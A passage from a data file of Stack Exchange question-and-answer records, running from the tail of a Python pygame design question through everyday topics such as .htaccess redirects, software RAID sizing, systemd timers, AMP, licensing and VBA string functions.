assets.events.event_manager.EventManager()    self.event_manager.add_events()  def init_keyboard_injector(self):    self.keyboard_injector = assets.ui.keyboard_injector.KeyboardInjector()  def init_ai_event_manager(self):    self.ai_event_manager = assets.events.ai_event_manager.AiEventManager()    self.ai_event_manager.add_events()  def init_entity_manager(self):    self.entity_manager = assets.entity.entity_manager.EntityManager()  def init_font_manager(self):    self.fonts = assets.font.font_manager.FontManager()    self.fonts.register_font(fps, verdana, 12)  def init_subscription_manager(self):    self.subscription_manager = assets.ui.subscription_manager.SubscriptionManager()    self.subscription_manager.load_subscription()  def run(self):    while 1:      self.keyboard_injector.run()      self.event_manager.parse_events(pygame.event.get())      self.subscription_manager.run_subscription()      self.clock.tick(self.fps_limit)      self.blit_fps()      self.update_screen()  def blit_fps(self):    try:      count = int(self.clock.get_fps())    except OverflowError:      count = Infinate?    fps = self.fonts[fps].render(FPS: %s %(count), True, (255,255,255))    self.screen.blit(fps, (10, 30))#, no_scale = True)  def update_screen(self):    pygame.display.update(self.screen.blit_rects_old)    pygame.display.update(self.screen.blit_rects)    self.screen.blit_rects_old = self.screen.blit_rects    self.screen.blit_rects = []def main():  global main_class  main_class = Main()  main_class.init_databin()  main_class.init_config_manager()  main_class.init_screen()  main_class.init_event_manager()  main_class.init_keyboard_injector()  main_class.init_ai_event_manager()  main_class.init_entity_manager()  main_class.init_font_manager()  main_class.init_subscription_manager()  main_class.run()if __name__ == __main__:  os.environ['SDL_VIDEO_CENTERED'] = '1'  if debug in sys.argv:    try: import cProfile as profile    except ImportError: import profile    profile.run('main()')  else:    main()ManagerBase uses something dreaded... import __main__ in order to get access to the main class.import __main__class ManagerBase(object):    def get_main_class(self):        return __main__.main_class    def get_databin(self):        return self.get_main_class().databin    def get_pygame(self):        return __main__.pygame    def get_main_dict(self):        return __main__.__dict__    def get_config_manager(self):        return self.get_main_class().config_manager"  , "title": "How Godly does an object need to be before it becomes unholy?"  , "tags": "python;object oriented;design patterns"  , "accepted_answer": "According to Wiki a god object is an object that knows too much or does too much. The general problem I have with this is: What means too much? Your question is about searching an absolute statement as we already know we can only find absolute statements within very restricted areas (and that's what they all have in common) that are not related to reality. As soon as we deal with real world applications we have to deal with uncertainty. That is because we derive OO models from reality as we perceive it. And this can be error prone.To escape this dilemma in computer science some principles are discovered that lead to a step by step improvement of source code. They are called S.O.L.I.D. principles. If you violate a principle your source code becomes worse. So the target is to violate the principles as less as possible. So easy as I say it: The violation of these principles is an identification problem that sometimes becomes very very difficult.In the case of the so called God class the S of these principles is addressed: The single responsibility principle (SRP). It says that one code fragment (module, class, method) should only have one responsibility. BTW this is applicable to other programming paradigms as well. A God class seems to have at least more than one responsibility. That can be said for sure. Anything else is popular speech if someone says God class.So working with SRP your code will improved step by step by identifying violations of this principle and eliminate them. That is by consolidating redundant responsibility and vice versa by separating different responsibilities.But the whole thing only works if you identify the violation. And that's the core. To identify a violation you look for indicators:real redundant code fragmentsa bug that was not fixed everywhere because of code redundancya bug that was fixed but broke the application at another placelong classes, long methodsa lot of object local variablesdeep nestingobjects that do a lot of different things...I want to underline that these are only indicators. A long method method for example can do only one thing: initialize a hashmap with key value pairs. Although you would have thought about solving this another way it's not violoating SRP.So if you have an indicator you can make a thought experiment if there is a violation. If you think you have redundant responsibilities then you should think about a new business requirement that changes one code fragment and ask yourself should the other change as well. This you should discuss with the business people. BTW consolidating responsibilities is much harder that separating them because this may break the application as one redundant code fragment will be omitted.So back to your question: A class does not become holy or a god. It will become less godly by eliminating violations of SRP. Theoretically the class becomes godless when an 1:1-relationship of responsibility and code fragment is reached. But to ask when there are too much responsibilities does not make sense in the context of code quality. This will only be a matter of costs to maintain the code. If it costs too much (for the business men) and the costs can be assigned to the SRP violation then certainly there are too much responsibilities."  } 
{  "id": "_webmaster.46699"  , "question": "I moved my wiki fromhttp://jklatex.square7.de/wiki/doku.php/starttohttp://logicpuzzle.square7.de/startand now i want to redirect the URL with mod_rewrite. My .htaccess is as follows:# BEGIN WordPress<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^/wiki/doku.php/(.*)$ http://logicpuzzle.square7.de/$1 [R,NC,L]RewriteRule ^index\\.php$ - [L]RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]</IfModule># END WordPressI don't understand why it does not work :-(Any hints?"  , "title": ".htaccess redirect with mod_rewrite"  , "tags": "htaccess;mod rewrite"  , "accepted_answer": "The leading slash is evil! ;-) The slash is part of RewriteBase.Changing the RewriteRule toRewriteRule ^wiki/doku.php/(.*)$ http://logicpuzzle.square7.de/$1 [R=301,NC,L]works as desired."  } 
{  "id": "_webapps.92926"  , "question": "A user made a comment on a popular post and checked the 'notify on future comments' button. She now wants to turn those off or be removed from that. How can I turn off Wordpress new comment notifications for 1 specific user for 1 specific comment thread? "  , "title": "Turn off Wordpress new comment notifications for 1 specific user (not admin)"  , "tags": "wordpress;comments"  } 
{  "id": "_scicomp.19945"  , "question": "I am trying to do a simple parallel sparse matrix vector multiplications using PETSC. My sparse matrix is a simple tridiagonal laplacian matrix, which is distributed over multiple processors using PETSC.My main question is that if I do the same operation by simply iterating over the vector and updating each valueA[i] = -1*A[i-1] + 2*A[i] + -1*A[i+1],  it takes much lesser time than by using the PETSC SpMV. Why is it so? Or am I doing something wrong?"  , "title": "Sparse matrix vector product using PETSC"  , "tags": "sparse;petsc;matrix;vector"  , "accepted_answer": "I assume that you are comparing multiplication with an assembled PETSc matrix with your hand-coded matrix-free method. The latter may indeed be faster, but this could be because no entries of A need be loaded from memory. A more meaningful comparison might be to a matrix-free operator in PETSc (see Section 3.3 in the manual).Once you have an apples-to-apples comparison, you can try to determine if any remaining speed differences are due to PETSc overhead or not by using an optimized build (configure --with-debugging=0) and running your code with the -log_summary option to see timings of various operations."  } 
{  "id": "_webapps.8031"  , "question": "Please note that my computer's time is set correctly. Dates and times are correct in all other applications including Google's services such as Google Docs and Google Calendar.However, messages in Gmail are always showing with a timestamp eight hours into the future. Occasionally, after repeated set/reset cycles in my account settings, I get the correct timestamp but when I log out and log back in timestamps are again eight hours into the future.I have already inspected the email headers, and the timestamp information (including time zones) is correct at each hop.There are a number of threads on Google's support forums regarding this and the one that is being monitored by the Google staff seems to be Wrong time posted on all my email - how to fix.Is anyone aware of a fix or a work-around or at least an explanation of why the timestamps are messed up?"  , "title": "Why is Gmail showing the wrong date/time for my messages?"  , "tags": "gmail;time zone"  , "accepted_answer": "We have a standing FAQ in our organisation that if you see any sort of timezone-related issues in Gmail your should enable the Sender Time Zone lab, reload, then disable the lab again (unless you actually want it). This seems to reset Gmail's timezone handling. We haven't yet got to the root cause yet (despite much back and forth with Google support), but we find that this resolves timezone issues most of the time. Give it a try."  } 
{  "id": "_webmaster.95790"  , "question": "Google Webmaster Tools seems to be giving me an erroneous report. The crawl Errors (Smart Phone tab) still shows a link to http://mypubguide.com/good-pubs/Blacko from http://mypubguide.com/good-pubs/blacko-in-pendle-districtI cannot find any such link when I view source or use web kit to search for it. This been going on for a while but this comes back after being marked as fixed and it's on the report as being detected today.Caching policy in the web.config is set to 30 minutes:"  , "title": "Google Websmaster Tools crawl errors reporting a link that does not exist"  , "tags": "google search console;links;crawl errors;broken links"  } 
{  "id": "_cs.27578"  , "question": "The related and interesting fields of Information Theory, Turing Computability, Kolmogorov Complexity and Algorithmic Information Theory, give definitions of algorithmically random numbers.An algorithmically random number is a number (in some encoding,  usually binary) for which the shortest program (e.g using a Turing  Machine) to generate the number, has the same length (number of  bits) as the number itself.In this sense numbers like $\\sqrt{e}$ or $\\pi$ are not random since well known (mathematical) relations exist which in effect function as algorithms for these numbers.However, especially for $e$ and $\\pi$ (which are transcendental numbers) it is known that they are defined by infinite power series.For example $e = \\sum_{n=0}^\\infty \\frac{1}{n!}$So even though a number, which is the binary representation of  $\\sqrt{e}$, is not alg. random, a program would (still?) need the description of the (infinite) bits of the (transcendental) number $e$ itself.Can transcendental numbers (really) be compressed?Where is this argument wrong?UPDATE:Also note the fact that for almost all transcendental numbers, and irrational numbers in general, the frequency of digits is uniform (much like a random sequence). So its Shannon entropy should be equal to a random string, however the Kolmogorov Complexity, which is related to Shannon Entropy, would be different (as not alg. random)Thank you"  , "title": "Can a transcendental number like $e$ or $\\pi$ be compressed as not algorithmically random?"  , "tags": "turing machines;information theory;randomness;kolmogorov complexity;descriptive complexity"  , "accepted_answer": "The problem is in your poor definition of algorithmically random number as applied to irrational numbers. In particular:has the same length (number of bits) as the number itself.has no meaning if the number is of unbounded length.Your Wikipedia link gives better definitions, which don't have this problem. For example (and paraphrasing formatting):Kolmogorov complexity [...] can be thought of as a lower bound on the algorithmic compressibility of a finite sequence (of characters or binary digits). It assigns to each such sequence $w$ a natural number $K(w)$ that, intuitively, measures the minimum length of a computer program (written in some fixed programming language) that takes no input and will output $w$ when run. Given a natural number $c$ and a sequence $w$, we say that $w$ is $c$-incompressible if $K(w) \\geq |w| - c$.An infinite sequence $S$ is Martin-Lf random if and only if there is a constant $c$ such that all of $S$'s finite prefixes are $c$-incompressible.This is a test passed by $\\sqrt{e}$ by setting $c$ a bit larger than the program to generate $\\sqrt{e}$ and including in it the length to generate."  } 
{  "id": "_softwareengineering.65989"  , "question": "In the below Sequence  diagram, when the user have entered the Username and Password, I have to do the authentication. Now you can see two details valid details and invalid detail in the diagram , which i will return when the user password match and miss-match respectively. Now My big question is which one i have to draw first, either valid details or invalid detail, how I know which one will come first."  , "title": "How to do this in Standard UML?"  , "tags": "uml;diagrams;sequence"  , "accepted_answer": "Neither. I would likely put them on different diagrams. The sequence diagram is supposed to represent a single flow of execution through your design, and these are two different flows.If you are worried now that you have to duplicate the diagram, and it would be more efficient to represent both you would be right - but remember that your UML will not be compiled - it does not need to represent everything your program does.Ask yourself why you are drawing this. It is a tool to help describe ( or explore ) your design - you only need to diagram the things that you need to explore, and in many cases it is just the complex flows."  } 
{  "id": "_webapps.67172"  , "question": "I was wondering if there was a way to set hot keys to easily switch between styles in a Google doc.  Say, for example, I want to switch between a 1 inch and 2 inch right indent, but I don't want to have to use the ruler every time to do that, and instead just use a key combo to switch.  Is there a way I can do that?  If it requires writing a script, I can do that if I'm pointed in the right direction."  , "title": "Google doc switch styles with hot keys"  , "tags": "google documents;keyboard shortcuts"  } 
{  "id": "_unix.341161"  , "question": "I've created a software RAID 6 from five 4TB drives with mdadm --create /dev/md0 --chunk=256 --level=6 --raid-devices=5 /dev/sdb1 /dev/sdc1 /dev/sdd1 /dev/sde1 /dev/sdf1. Before that, I've created partitions on each drive with the max size. 'fdisk -l' shows below output. However, the overall size is only 6TB. With Raid 6 having 2 parity, shouldn't there be around 12TB?Disk /dev/sda: 525.1 GB, 525112713216 bytes, 1025610768 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk label type: gpt#         Start          End    Size  Type            Name 1     46139392     83888127     18G  Microsoft basic 2      8390656     46139391     18G  Microsoft basic 3     87033856   1025610734  447.6G  Linux LVM 4     83888128     84936703    512M  BIOS boot parti 5         2048      8390655      4G  Microsoft basic 6     84936704     87033855      1G  Linux swapDisk /dev/sdb: 4000.8 GB, 4000787030016 bytes, 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk label type: dosDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdb1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.Disk /dev/sdc: 4000.8 GB, 4000787030016 bytes, 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk label type: dosDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdc1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.Disk /dev/sde: 4000.8 GB, 4000787030016 bytes, 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk label type: dosDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sde1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.Disk /dev/sdd: 4000.8 GB, 4000787030016 bytes, 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk label type: dosDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdd1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.Disk /dev/sdf: 4000.8 GB, 4000787030016 bytes, 7814037168 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk label type: dosDisk identifier: 0x00000000   Device Boot      Start         End      Blocks   Id  System/dev/sdf1               1  4294967295  2147483647+  ee  GPTPartition 1 does not start on physical sector boundary.Disk /dev/mapper/XSLocalEXT--b30a297a--410a--d586--640b--e10ac011aaf3-b30a297a--410a--d586--640b--e10ac011aaf3: 480.5 GB, 480537214976 bytes, 938549248 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytes"  , "title": "Software RAID too small"  , "tags": "linux;partition;software raid"  , "accepted_answer": "Your partitions are much smaller than the full disks:/dev/sdc1               1  4294967295  2147483647+  ee  GPToccupies only 4294967295 sectors (out of 7814037168), i.e. just under 2TiB.If you intend to use the full disks in a RAID array, I would suggest just using the whole disks without bothering with partitions. First, zero out anything looking like an md superblock:mdadm --zero-superblock /dev/sdbmdadm --zero-superblock /dev/sdcmdadm --zero-superblock /dev/sddmdadm --zero-superblock /dev/sdemdadm --zero-superblock /dev/sdfThen create the array:mdadm --create /dev/md0 --chunk=256 --level=6 --raid-devices=5 /dev/sdb /dev/sdc /dev/sdd /dev/sde /dev/sdfIf you want to allow replacing failing drives with drives with a slightly smaller number of sectors, you may want to leave some space free; you can do this with the --size= option which takes a size (the amount of disk space to use) in kibibytes, e.g. in your case somewhere around 3,907,018,300KiB (your drives have 3,907,018,584KiB total space, of which 128KiB needs to be kept for the RAID superblock)."  } 
{  "id": "_unix.299421"  , "question": "I have setup few user systemd.timer(s).How to make them start automatically ? (either on system start or once user logged into X session).After I restart of the system (even systemctl --user enable was run before restart, i.e. does not help) I have none running:~$ systemctl --user enable {rsync_backup1,rsync_another_backup}.timer ~$ systemctl --user list-timers --all0 timers listed.Here I commands I need to use to start them after :~$ systemctl --user start {rsync_backup1,rsync_another_backup}.timer           ~$ systemctl --user list-timers --allNEXT                          LEFT         LAST                          PASSED UNIT                          Sun 2016-07-31 13:26:45 CEST  1h 16min ago Sun 2016-07-31 14:43:32 CEST  2s ago rsync_backup1Sun 2016-07-31 13:26:45 CEST  1h 16min ago Sun 2016-07-31 14:43:32 CEST  2s ago rsync_another_backup2 timers listed.~$ Here is example how timers are currently configured :$HOME/.config/systemd/user/rsync_backup1.service :[Unit]Description=rsync --delete /home/USER data to NASUSER@NAS[Service]Type=simpleExecStart=/home/USER/scripts/rsync_backup1.sh$HOME/.config/systemd/user/rsync_backup1.timer :[Unit]Description=Runs every 12 minutes rsync --delete /home/USER data to NASUSER@NAS[Timer]OnBootSec=12minAccuracySec=10minOnCalendar=*:0/12Unit=rsync_backup1.service[Install]WantedBy=multi-user.targetP.S. Yes, I know I can drop commands, which start my timers into .bashrc or .xinit or my Window Manager startup scripts. What I am asking is: is there systemd clean way to define this to run after every restart (/login) ?"  , "title": "How to start user systemd.timer (s) automatically?"  , "tags": "configuration;systemd timer"  } 
{  "id": "_unix.154919"  , "question": "The other day I tried installing opencv-git from the AUR with makepkg on Arch Linux. Of course it pulls from the git repository as the name indicates. This pulls 1Gb. I am reading about making a shallow clone with git. When I look at the PKGBUILD file, using grep git PKGBUILD, I see:pkgname=opencv-gitmakedepends=('git' 'cmake' 'python2-numpy' 'mesa' 'eigen2')provides=(${pkgname%-git})conflicts=(${pkgname%-git})source=(${pkgname%-git}::git+http://github.com/Itseez/opencv.git    cd ${srcdir}/${pkgname%-git}    git describe --long | sed -r 's/([^-]*-g)/r\\1/;s/-/./g'    cd ${srcdir}/${pkgname%-git}    cd ${srcdir}/${pkgname%-git}    cd ${srcdir}/${pkgname%-git}    install -Dm644 LICENSE ${pkgdir}/usr/share/licenses/${pkgname%-git}/LICENSEIs there a way to modify the recipe or the makepkg command to pull only a shallow clone (the latest version of the source is what I want) and not the full repository to save space and bandwidth? Reading man 5 PKGBUILD doesn't provide the insight I'm looking for. Also looked quickly through the makepkg and pacman manpages - can't seem to find how to do that."  , "title": "How to modify a PKGBUILD which uses git sources to pull only a shallow clone?"  , "tags": "arch linux;git"  , "accepted_answer": "This can be done by using a custom dlagent. I do not really understand Arch packaging or how the dlagents work, so I only have a hack answer, but it gets the job done.The idea is to modify the PKGBUILD to use a custom download agent. I modified the source${pkgname%-git}::git+http://github.com/Itseez/opencv.gitinto${pkgname%-git}::mygit://opencv.gitand then defined a new dlagent called mygit which does a shallow clone. I did this by adding to the DLAGENTS array in /etc/makepkg.conf the following dlagent:'mygit::/usr/bin/git clone --depth 1 http://github.com/Itseez/opencv.git'My guess is you could probably define this download agent somewhere else, but I do not know how. Also notice that the repository that is being cloned is hard coded into the command. Again, this can probably be avoided. Finally, the download location is not what the PKGBUILD expects. To work around this, I simply move the repository after downloading it. I do this by adding mv ${srcdir}/../mygit:/opencv.git ${srcdir}/../${pkgname%-git}at the beginning of the pkgver function.I think the cleaner solution would be to figure out what the git+http dlagent is doing and redfine that temporarily. This should avoid all the hack aspects of the solution."  } 
{  "id": "_webmaster.90688"  , "question": "I am currently working on a twitter clone. How do I make it like Tumblr where a subdomain is created for each user that creates a blog? I would plan to show the user feed there, with posts from the users he follows."  , "title": "How do I develop a software product with multiple dynamic sub-domains?"  , "tags": "subdomain;web applications"  } 
{  "id": "_cs.23056"  , "question": "Is there a way to take the interection of two NPDAs?I can't seem to find anything that can make that happen, but it seems like the type of thing that is should be relatively trival."  , "title": "Intersection of two NPDAs"  , "tags": "formal languages;automata;closure properties;pushdown automata"  , "accepted_answer": "The intersection of two context-free languages can be non-context-free. The classical example is$$ \\{ a^n b^n c^m : n,m \\geq 0 \\} \\cap \\{ a^m b^n c^n : n,m \\geq 0 \\} = \\{ a^n b^n c^n : n \\geq 0 \\}. $$So in general you cannot simulate the intersection of two NPDAs with an NPDA."  } 
{  "id": "_softwareengineering.327857"  , "question": "I would like to develop and release and SDK in an open fashion, via GitHub.That said, I would like to have a team of developers work on this, make commits, create issues and comments etc in a private fashion.It would be nice if I could only push the desired code to the public. The public section would also allow public people to do similar to the private team.My current thinking is that I should have two repositories, one public and one private. Once happy with the work in private I can merge the branch into the public one. I guess it would be good to maintain a release branch in private repo and only merge that onto the public repo.Is there a way that I can prevent the commit history going public? I'm sure there is a Git flag for that.Is this a suitable workflow? Thanks."  , "title": "Github workflow for public/provide codebase"  , "tags": "git;github"  } 
{  "id": "_unix.334813"  , "question": "I'm trying to install puttygen on an Amazon Linux server. puttygen is provided by the putty package available in EPEL, but installation fails with it unable to find several required C libraries:Error: Package: putty-0.63-7.el6.x86_64 (epel)           Requires: libgtk-x11-2.0.so.0()(64bit)Error: Package: putty-0.63-7.el6.x86_64 (epel)           Requires: libatk-1.0.so.0()(64bit)Error: Package: putty-0.63-7.el6.x86_64 (epel)           Requires: libgdk_pixbuf-2.0.so.0()(64bit)Error: Package: putty-0.63-7.el6.x86_64 (epel)           Requires: libgdk-x11-2.0.so.0()(64bit)Currently I'm installing putty on a Centos 6 box, then copying the binary /usr/bin/puttygen on to the Amazon Linux box. This works for my use-case, but I'm not keen on circumventing the package manager in this way. Is there a 'proper' way of doing things?"  , "title": "Proper way of installing puttygen on Amazon Linux"  , "tags": "putty;puttygen;amazon linux"  } 
{  "id": "_webmaster.107295"  , "question": "On my WordPress blog in default mode I have a <canvas> where I draw a chart with ChartJS. I've just downloaded the AMP plugin, run the Google AMP Test tool, and it says:Fix the following issue  Prohibited or invalid use of HTML Tag  The tag 'canvas' is disallowed.How do you go about fixing this? Is there any way to do JavaScript with AMP?"  , "title": " for chartjs versus AMP"  , "tags": "javascript;amp;canvas"  , "accepted_answer": "You can't run your own JavaScript when using AMP, that defeats the purpose of AMP. Instead, you can iframe your external content using the amp-iframe element.Add the amp-iframe JS to the head.<script async custom-element=amp-iframe  src=https://cdn.ampproject.org/v0/amp-iframe-0.1.js></script>Add the amp-iframe element where you want your iframe to go.<amp-iframe width=200 height=100  sandbox=allow-scripts allow-same-origin layout=responsive  src=https://example.com/></amp-iframe>A full guide to using amp-iframe is available at:https://www.ampproject.org/docs/guides/iframes"  } 
{  "id": "_ai.156"  , "question": "From Wikipedia:A mirror neuron is a neuron that fires both when an animal acts and when the animal observes the same action performed by another.Mirror neurons are related to imitation learning, a very useful feature that is missing in current real-world A.I. implementations. Instead of learning from input-output examples (supervised learning) or from rewards (reinforcement learning), an agent with mirror neurons would be able to learn by simply observing other agents, translating their movements to its own coordinate system. What do we have on this subject regarding computational models?"  , "title": "Are there any computational models of mirror neurons?"  , "tags": "neural networks;models"  } 
{  "id": "_webapps.37908"  , "question": "Is there a keyboard shortcut that moves Trello cards up or down in list order?I want to prioritize cards without dragging and dropping."  , "title": "Shortcut key for moving cards up or down in Trello"  , "tags": "trello;keyboard shortcuts;trello cards"  } 
{  "id": "_softwareengineering.240729"  , "question": "I'm using an offline application's javascript API and I'd like to know if I can use deferred objects to handle the callbacks. The API calls do not use HTTP, the calls are to and from the applications local database.The only way I've been able to display information is by using 'setTimeout' on subsequent calls, which I know, is terrible! So I have a long list of callbacks and timeouts.var jsObj = {};var anotherObj = {};//first async callmethodName(arg1, jsObj, callback);function callback(result){  jsObj[data] = result;}//second async callsetTimeout(function(){methodName(arg1, anotherObj, callback2);}, 200);function callback2(result){  jsObj[data] = result;}//waitsetTimeout(function(){  $(#content).html(JSON.stringify(jsObj));},300);Is there anyway to refactor this? Any advice is appreciated. I've looked at the following post, but I'm not sure it would work. I'm aware I can create custom deferred objects (jQuery), but altering the API to use this or any other method of promise objects seems unrealistic."  , "title": "How to handle asynchronous calls in an offline application"  , "tags": "javascript;jquery;asynchronous programming"  , "accepted_answer": "Deferred objects are indeed the way to go here.  You don't have to change the API, just use a promise library like Q that can wrap it.  It would look something like this:promiseMethodName = Q.denodeify(methodName);promiseMethodName(arg1, jsObj).then(function(result) {  jsObj[data] = result;  return result;}).then(function(result) {  return promiseMethodName(arg1, anotherObj);}).then(function(result) {  jsObj[data] = result;  return result;}).then(function(result) {  $(#content).html(JSON.stringify(jsObj));});If your API doesn't use node-style callbacks, you might need to implement your own version of denodeify, which can be tricky, but the rest will be the same."  } 
{  "id": "_unix.193673"  , "question": "From http://pubs.opengroup.org/stage7tc1/basedefs/V1_chap12.htmlEllipses ( ... ) are used to denote that one or more occurrences of  an operand are allowed. When an option or an operand followed by  ellipses is enclosed in brackets, zero or more options or operands can  be specified. The form:utility_name [-g option_argument]...[operand...]indicates that multiple occurrences of the option and its  option-argument preceding the ellipses are valid, with semantics as  indicated in the OPTIONS section of the utility. (See also Guideline  11 in Utility Syntax Guidelines .)The form:utility_name -f option_argument [-f option_argument]... [operand...]indicates that the -f option is required to appear at least once and  may appear multiple times.Are there differences between the order of bracket and ellipses?Do [something]... and [something...] both mean repeating zero or more times?Do something [something]... and something... both  mean the same as repeating once or more times?"  , "title": "Usage of ellipse in synopsis of command line argument"  , "tags": "man"  } 
{  "id": "_softwareengineering.75460"  , "question": "Let preface this by saying that I understand that any advice I may receive is not to be taken as 100% correct, I am just looking for what people's understand of what this license is.I have been looking for a library that allow be to deal with archived compressed files (like zip files) and so far the best one I have found is DotNetZip.  The only concern I have is that I am not familiar with the Microsoft Public License.  While I plan to release a portion of my project (a web application platform) freely (MIT/BSD style) there are a few things.  One is that I don't plan on actually releasing the source code, just the compiled project.  Another thing is that I don't plan on releasing everything freely, only a subset of the application.  Those are reason why I stay away form (L)GPL code.  Is this something allowed while using 3rd party libraries that are licensed under the Microsoft Public License?EDITThe part about the Microsoft license that concerns me is Section 3 (D) which says (full license here):If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.I don't know what is meant by 'software'.  My assumption would be that 'software' only refers to the library included under the license (being DotNetZip) and that is doesn't extends over to my code which includes the DotNetZip library.  If that is the case then everything is fine as I have no issues keeping the license for DotNetZip when release this project in compiled form while having my code under its own license.  If 'software' also include my code that include the DotNetZip library then that would be an issue (as it would basically act like GPL with the copyleft sense)."  , "title": "Microsoft Public License Question"  , "tags": "licensing;ms pl"  , "accepted_answer": "I don't know what is meant by 'software'. My assumption would be that 'software' only refers to the library included under the license (being DotNetZip) and that is doesn't extends over to my code which includes the DotNetZip library.That's correct. The term Software used in the license refers to the software that license is about: DotNetZip.If you distribute any portion of DotNetZip, you must retain all copyright, patent, trademark, and attribution notices that are present in the software (3c).If that is the case then everything is fine as I have no issues keeping the license for DotNetZip when release this project in compiled form while having my code under its own license. If 'software' also include my code that include the DotNetZip library then that would be an issue (as it would basically act like GPL with the copyleft sense).The latter is not the case, MS-PL is not a reciprocal license. It only requires that the software you distribute if it contains MS-PL'ed parts, must comply with the license requirements for the MS-PL'ed parts. As long as you don't give any sources from DotNetZip you do not even need to provide a copy of the license text if I read the license correctly."  } 
{  "id": "_webmaster.11779"  , "question": "I am thinking of creating a website where the content will be only useful for a max of one week. I am also assuming that I will be getting most of the traffic thru search engines basically Google. For important sites like stackoverflow the crawling happens multiple times a day. But for a new site with time-dependent content, is it possible to get Google to index the site more frequently."  , "title": "How to make sure that Google indexes your site in less than a day?"  , "tags": "search;google;seo;web crawlers;googlebot"  } 
{  "id": "_unix.363865"  , "question": "I am running motion, and so far everything work nicely, I can access the stream on port 8081, without problem.Is there a way to show the stream of the same webcam on multiple port ? If yes, how ? I tried setting up this in motion.conf :stream_port 8081stream_port 8082But only the last port is reachable. How can both be reachable ?"  , "title": "Show Motion stream on multiple web page"  , "tags": "debian;webserver;camera;motion"  } 
{  "id": "_unix.685"  , "question": "So recently a Debian 5.0.5 installer offered me to have separate /usr, /home, /var and /tmp partitions (on one physical disk).What is the practical reason for this? I understand that /home can be advantageous to put on a separate partition, because user files can be encrypted separately, but why for anything else?"  , "title": "Why put things other than /home to a separate partition?"  , "tags": "linux;partition"  , "accepted_answer": "Minimizing loss: If /usr is on a separate partition, a damaged /usr does not mean that you cannot recover /etc.Security: / cannot be always ro (/root may need to be rw etc.) but /usr can. It can be used to make ro as much as possible.Using different FS: I may want to use a different system for /tmp (not reliable but fast for many files) and /home (has to be reliable). Similary /var contains data while /usr does not so /usr stability can be sacrifice but not so much as /tmp.Duration of fsck: Smaller partitions mean that checking one is faster.Mentioned filling up of partions, although other method is quotas."  } 
{  "id": "_codereview.30816"  , "question": "Consider the following:If myString = abc Or myString = def [...] Or myString = xyz ThenIn C# when myString == abc the rest of the conditions aren't evaluated. But because of how VB works, the entire expression needs to be evaluated, even if a match is found with the first comparison.Even worse:If InStr(1, myString, foo) > 0 Or InStr(1, myString, bar) > 0 [...] ThenI hate to see these things in code I work with. So I came up with these functions a while ago, been using them all over the place, was wondering if anything could be done to make them even better:StringContains is used like If StringContains(this is a sample string, string):Public Function StringContains(string_source, find_text, Optional ByVal caseSensitive As Boolean = False) As Boolean    'String-typed local copies of passed parameter values:    Dim find As String, src As String    find = CStr(find_text)    src = CStr(string_source)    If caseSensitive Then        StringContains = (InStr(1, src, find, vbBinaryCompare) <> 0)    Else        StringContains = (InStr(1, src, find, vbTextCompare) <> 0)    End IfEnd FunctionStringContainsAny works in a very similar way, but allows specifying any number of parameters so it's used like If StringContainsAny(this is a sample string, false, foo, bar, string):Public Function StringContainsAny(string_source, ByVal caseSensitive As Boolean, ParamArray find_strings()) As Boolean    'String-typed local copies of passed parameter values:    Dim find As String, src As String, i As Integer, found As Boolean    src = CStr(string_source)    For i = LBound(find_strings) To UBound(find_strings)        find = CStr(find_strings(i))        If caseSensitive Then            found = (InStr(1, src, find, vbBinaryCompare) <> 0)        Else            found = (InStr(1, src, find, vbTextCompare) <> 0)        End If        If found Then Exit For    Next    StringContainsAny = foundEnd FunctionStringMatchesAny will return True if any of the passed parameters exactly matches (case-sensitive) the string_source:Public Function StringMatchesAny(string_source, ParamArray find_strings()) As Boolean    'String-typed local copies of passed parameter values:    Dim find As String, src As String, i As Integer, found As Boolean    src = CStr(string_source)    For i = LBound(find_strings) To UBound(find_strings)        find = CStr(find_strings(i))        found = (src = find)        If found Then Exit For    Next    StringMatchesAny = foundEnd Function"  , "title": "A more readable InStr: StringContains"  , "tags": "strings;vba;vb6"  , "accepted_answer": "My 2 cents,the first function seems fine, you could make it a little DRYer by just setting the compareMethod in your if statement and then have only 1 complicated line of logic. And if you are doing that, you might as well put the Cstr's there.Public Function StringContains(haystack, needle, Optional ByVal caseSensitive As Boolean = False) As Boolean   Dim compareMethod As Integer    If caseSensitive Then        compareMethod = vbBinaryCompare    Else        compareMethod = vbTextCompare    End If    'Have you thought about Null?    StringContains = (InStr(1, CStr(haystack), CStr(needle), compareMethod) <> 0)End FunctionNotice as well that I love the idea of searching for needles in haystacks, I stole that from PHP.For StringContainsAny, you are not using the code you wrote for StringContains, you repeat it. If you were to re-use the first function, you could do this:Public Function StringContainsAny(haystack, 